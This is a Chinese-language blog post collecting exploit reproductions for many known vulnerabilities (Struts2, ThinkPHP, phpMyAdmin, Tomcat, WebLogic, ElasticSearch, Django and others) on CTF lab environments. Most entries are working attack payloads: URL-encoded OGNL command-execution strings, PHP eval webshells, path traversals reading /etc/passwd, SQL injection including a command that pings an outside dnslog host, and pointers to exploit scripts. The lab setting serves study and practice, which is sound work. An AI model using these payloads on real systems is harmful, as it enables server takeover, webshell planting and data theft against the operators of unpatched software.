用BUUCTF和vulhub的环境复现了一下,只以ls和env命令执行为例,buuctf中flag在环境变量里
@TOC
[ThinkPHP]5.0.23-Rce
1 | POST /index.php?s=captcha |
[ThinkPHP]2-Rce
影响版本
thinkphp 2.x
漏洞利用
1 | http://node3.buuoj.cn:28435/?s=/index/index/name/${@phpinfo()} |
漏洞成因
因为在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', |
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
具体可以看这个:https://www.freebuf.com/column/223149.html
[struts2]s2-013
影响版本
Struts 2.0.0 - Struts 2.3.14.1
漏洞利用
1 | http://node3.buuoj.cn:25127/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D |
一定要先进行URL编码
漏洞成因
1 | Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下: |
[PHPMYADMIN]CVE-2018-12613
影响版本
phpMyAdmin 4.8.0和4.8.1
漏洞利用
1 | http://node3.buuoj.cn:28849/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
获取shell方式:
- 创建一个test库,shell表,写入
<? @eval($_GET['a']);?>
,然后包含/bin/mysql/data/test/shell.frm
即可得到shell(windows需要用show variables like '%datadir%';
查看本地目录,在%datadir%/test/shell.frm中) - select 一句话木马,如
<?php @eval($_GET['a']);?>
,再用F12查看自己的sessionID,再包含文件:http://node3.buuoj.cn:27081/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../../../tmp/sess_66046709714366d3ed1d5e5b24034e19
即可getshell
set global general_log = "ON"; -- 打开日志保存 set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
## [struts2]s2-045(CVE-2017-5638)1
2
3
4
5
写shell
```mysql
select '<?php eval($_POST[pwd]); ?>';
影响版本
Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10
漏洞利用
poc:
1 | POST /doUpload.action |
返回105059592则表示有漏洞
exp:
1 | POST /doUpload.action |
[struts2]s2-001
影响版本
Struts 2.0.0 - Struts 2.0.8
漏洞利用
1 | POST /login.action |
获取web路径:
1 | %{ |
获取tomcat执行路径:
1 | %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} |
[TWIG]SSTI
在BUUCTF里的[Flask]SSTI
是php的twig框架的SSTI(cookie里有phpstudy,而且主页面也看得出)
但我没执行成功,也记一下吧
1 | {{'/etc/passwd'|file_excerpt(1,30)}} |
[Tomcat]CVE-2017-12615
影响版本
Apache Tomcat 7.0.0 – 7.0.79
漏洞利用
任意文件上传
1 | PUT /shell.jsp/ |
1 | http://node3.buuoj.cn:27672/shell.jsp?&pwd=023&cmd=env |
[struts2]s2-007
影响版本
2.0.0 - 2.2.3
漏洞利用
1 | POST /user.action |
[struts2]s2-046
影响版本
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞利用
1 | POST /doUpload.action |
上传内容随意,但在结尾的字母b前面必须加入00截断,否则不成功,如图:
[struts2]s2-008
影响版本
2.1.0 - 2.3.1
漏洞利用
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模
式后会有多个调试接口能够直接查看对象信息或直接执行命令,而这种问题在生产环境是几乎见不到的,当然,不排除黑客故意开启以达到留后门的目的。
在BUU上提供了这两个模式,先说dev模式:
1 | http://node3.buuoj.cn:27368/devmode.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23cmd=%22env%22,%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[100],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo)) |
这里可以修改res的值来获取更多的数据,如res=new+byte[1000]
1 | http://node3.buuoj.cn:27368/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3dtrue%2c%23foo%3dnew%20java.lang.Boolean(%22false%22)%20%2c%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())) |
值得注意的是dev模式下的cve编号为CVE-2012-0391,而cookie拦截器模式的CVE编号是CVE-2012-0392,不过我没有找到可行的exp,放一个在exploit-db找到的EXP过来吧
1 | Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1 |
[uwsgi]CVE-2018-7490
影响版本
uWSGI 2.0.17之前
漏洞利用
路径遍历:
1 | http://node3.buuoj.cn:26763/..%2f..%2f..%2f..%2fetc/passwd |
[PHPMYADMIN]CVE-2016-5734
受影响版本
phpMyAdmin 4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
漏洞利用
在kali里直接利用exp,一般来说是在下面这个目录里
1 | cd /usr/share/exploitdb/exploits/php/webapps/40185.py |
如果找不到可以进msfconsole,用searchsploit phpmyadmin
查找文件名,然后用find / -name ""
来找到文件位置
也可以直接在windows中直接利用:
1 | #!/usr/bin/env python |
其中-u为用户名,-p为密码,-c为php语句
1 | python3 40185.py -u root -p root http://node3.buuoj.cn:26586/ -c "system('env')" |
[ThinkPHP]IN SQL INJECTION
这是一个thinkphp 5.09版本的显错注入
1 | http://node3.buuoj.cn:25531/?ids[0,updatexml(1,concat(0x7,user(),0x7e),1)]=1 |
挺鸡肋的,因为之只能通过报错获取类似于database()
、user()
这类信息,而不支持子查询,具体可以看先知社区的一篇文章
[struts2]s2-005
影响版本:
2.0.0 - 2.1.8.1
漏洞利用
1 | http://node3.buuoj.cn:27307/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22env%22.split(%22@%22))%27)(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
需要注意的是,这个漏洞没有回显,当他进行了302跳转时即为利用成功。
[struts2]s2-053
影响版本
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
漏洞利用
1 | POST /hello.action |
[Jupyter]notebook-rce
漏洞成因
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
漏洞利用
[PHP]inclusion
影响版本
所有版本,但需要文件包含漏洞和一个可以访问的phpinfo页面
漏洞利用
直接利用exp
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
1 | #coding:utf-8 |
很尴尬的是我没跑起来,姑且记一下吧,看的文章https://www.cnblogs.com/tr1ple/p/10993110.html
s2-012
影响版本
Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
漏洞利用
1 | POST /user.action |
s2-009
影响版本
2.1.0 - 2.3.1.1
漏洞利用
1 | http://node3.buuoj.cn:26930/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] |
成功后他会让你下载一个文件,文件内容即为命令的执行结果。
Tomcat8+ Weak Password && Backend Getshell Vulnerability
漏洞成因
tomcat8的管理员设置了弱密码,而管理员后台存在任意文件上传漏洞,导致了命令执行
漏洞利用
进入管理员后台后,将shell.jsp(webshell)压缩成a.zip文件,并把后缀改为.war
,上传后访问http://node3.buuoj.cn:27304/a/shell.jsp
即可。
[PHP]XDebug RCE
漏洞利用
1 | #!/usr/bin/env python3 |
重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。
链接:https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
nginx解析漏洞
影响版本
所有版本
漏洞成因
用户开启了cgi.fix_pathinfo选项
该项会对文件路径进行“修理”。何谓“修理”?举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。
漏洞利用
http://your-ip/aaa.xxx/bbb.php
[PHPUnit]CVE-2017-9841
影响版本
4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2
漏洞利用
直接将PHP代码作为POST Body发送给http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[struts2]s2-015
影响版本
2.0.0 - 2.3.14.2
漏洞利用
1 | http://node3.buuoj.cn:27326/$%7B%20%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())%7D.action |
需要注意的是,命令执行成功后页面返回的状态码是404,但错误信息处为命令执行结果,如图:
apache 解析漏洞
漏洞成因
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:
1 | AddType text/html .html |
其给.html
后缀增加了media-type,值为text/html
;给.cn
后缀增加了语言,值为zh-CN
。此时,如果用户请求文件index.cn.html
,他将返回一个中文的html页面。
以上就是Apache多后缀的特性。如果运维人员给.php
后缀增加了处理器:
1 | AddHandler application/x-httpd-php .php |
那么,在有多个后缀的情况下,只要一个文件含有.php
后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
漏洞利用
白名单绕过
[GlassFish]任意文件读取
影响版本
4.0至4.1
漏洞成因
java会把%c0%ae
解析为\uC0AE
,最后转义为ASCCII字符的.
(点)。实现了目录穿越。
漏洞利用
1 | https://node3.buuoj.cn:29132/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd |
[Django]CVE-2019-14234
影响版本
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
漏洞利用
登陆后台后,访问该目录(默认密码为admin/a123123123)
1 | http://node3.buuoj.cn:25764/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping 3nkw61.dnslog.cn%27--%20 |
[Postgres]CVE-2019-9193
这个可以和上一个漏洞组合一下,先留着位置,以后写
[Weblogic]CVE-2017-10271
影响版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
漏洞成因
Weblogic 的 WLS Security 组 件 对 外 提 供 webservice 服 务 , 其 中 使 用 了XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞利用
访问http://your-ip/wls-wsat/CoordinatorPortType11
,存在下图则可能有漏洞
很多位置都可以用:
1 | /wls-wsat/CoordinatorPortType |
poc
1 | POST /wls-wsat/CoordinatorPortType |
执行后返回的状态码为500,这时候我们访问test.txt,出现moonster_test
字符即成功,其中wls-wsat的默认根路径为:/root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/
所以填写servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt
,test.txt
为写入的文件名,monster_test
为写入的内容
也可以用exploit-db的脚本
[Discuz]wooyun-2010-080723
影响版本
Discuz 7.x 6.x
漏洞成因
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
漏洞利用
直接找一个已存在的帖子,向其发送数据包,修改cookie
1 | GET /viewthread.php?tid=12&extra=page%3D1 |
[PHP]CVE-2019-11043
影响版本
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
漏洞成因
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
1 | location ~ [^/]\.php(/|$) { |
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
漏洞利用
利用这里的脚本:https://github.com/neex/phuip-fpizdam(需要go语言环境)
或者利用这个脚本:
1 | import requests |
1 | go run .\detect.go "http://node3.buuoj.cn:28903/" |
或
1 | python ./cve-2019-11043.py |
[ElasticSearch]CVE-2015-1427
影响版本
在1.4.3之前
漏洞利用
首先,向/website/blog
插入一条数据,内容随意:
1 | POST /website/blog |
,然后向/_search/pretty
发送exp即可
1 | POST /_search?pretty |
1 | { |
1 | {"script_fields": {"my_field": {"script": "def command=\"env\";def res=command.execute().text;res","lang":"groovy"}}} |
这些exp都行
[Nginx]CVE-2013-4547
影响版本
Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本
漏洞成因
如果空格和零截断符相邻的话nginx就不会检测到零截断并返回错误了
漏洞利用
在文件上传时,修改文件名的hex编码,在文件末尾插入2000,如图
上传之后,访问该页面并抓包,修改页面的值,在截断后面添加.php,如图:
然后forward,即可成功访问,如图:
更多利用方法可以看这个:http://www.lenky.info/archives/2016/04/2488
[ElasticSearch]CVE-2015-3337
影响版本
1.4.5以下/1.5.2以下
漏洞成因
在安装了具有“site”功能的插件以后,插件目录使用…/即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。
漏洞利用
抓包修改请求:GET /_plugin/head/../../../../../../../../../etc/passwd HTTP/1.1
,不抓包的话地址会直接变成/etc/passwd
。
[ElasticSearch]CVE-2014-3120
影响版本
1.3之前
漏洞成因
MVEL引擎没有做任何的防护,或者沙盒包装,所以可以直接执行任意代码。
由于在ElasticSearch的默认配置下,动态脚本执行功能处于打开状态,导致用户可以构造恶意的请求包,执行任意代码。
漏洞利用
和CVE-2015-1427一样,先向/website/blog
插入数据,然后输入exp即可:
1 | POST /_search?pretty |
[WebLogic]CVE-2018-2894
影响版本
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
漏洞利用
在console
处登录后台后(默认密码为weblogic/weblogic
),点击base_domain中的高级(英文为advanced),如图:
再开启web服务测试页(Enable Web Server Test Page),保存。
然后访问/ws_utc/config.do
将工作目录(Work Home Dir)改为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
这里很重要,因为访问这个目录是不用权限的。
点击安全->添加,然后上传马。
查看时间戳(抓包查看也可以)
访问/ws_utc/css/config/keystore/[时间戳]_[文件名]
即可执行webshell
[Libssh]CVE-2018-10933
影响版本
libssh0.6及以上的版本
漏洞成因
libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。通过向服务端发送SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进行身份验证,甚至可能登陆SSH,入侵服务器
漏洞利用
直接利用exp:
1 | #!/usr/bin/env python3 |
[Supervisor]CVE-2017-11610
影响版本
Supervisor version 3.1.2
Supervisor version 3.3.2
漏洞利用
访问RPC2
并传输poc,值得注意的是,该poc没有回显:
1 | POST /RPC2 |
强力推荐离别歌大佬的文章
[Drupal]CVE-2018-7602
影响版本
Drupal 7.x,8.x
修复版本
Drupal 7.59,Drupal 8.5.3,Drupal 8.4.8
漏洞利用
直接上exp:
1 | #!/usr/bin/env python3 |
[GhostScript]CVE-2018-19475
漏洞利用
构造文件poc.png如下并上传即可
1 | %!PS |
[Django]CVE-2017-12794
漏洞利用
访问两次http://node3.buuoj.cn:25404/create_user/?username=%3Cscript%3Ealert(1)%3C/script%3E
即可
[Jboss]CVE-2017-7504
影响版本
JBoss AS 4.x及之前版本。
漏洞利用
1 | git clone https://github.com/joaomatosf/JavaDeserH2HC |
[GhostScript]CVE-2018-16509
影响版本
Ghostscript 9.24之前版本
漏洞成因
在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的PostScript利用该漏洞执行代码
漏洞利用
构造内容为如下的poc.png上传即可:
1 | %!PS |
1 | POST / |
[Drupal]CVE-2018-7600
漏洞利用
直接上poc,没有复现成功,很痛苦
1 | POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax |
poc2:
1 | POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax |
[Rails]CVE-2019-5418
影响版本
Rails 全版本
其中修复版本:
Rails 6.0.0.beta3,5.2.2.1,5.1.6.2,5.0.7.2,4.2.11.1
漏洞利用
修改accept头
1 | GET /robots.txt |
很尴尬的是我的bp改完发包之后,连接就被重置,而且我抓不到访问robots.txt的包。
[Jboss]CVE-2017-12149
漏洞利用
记录一下https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/03/04/部分框架exp/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!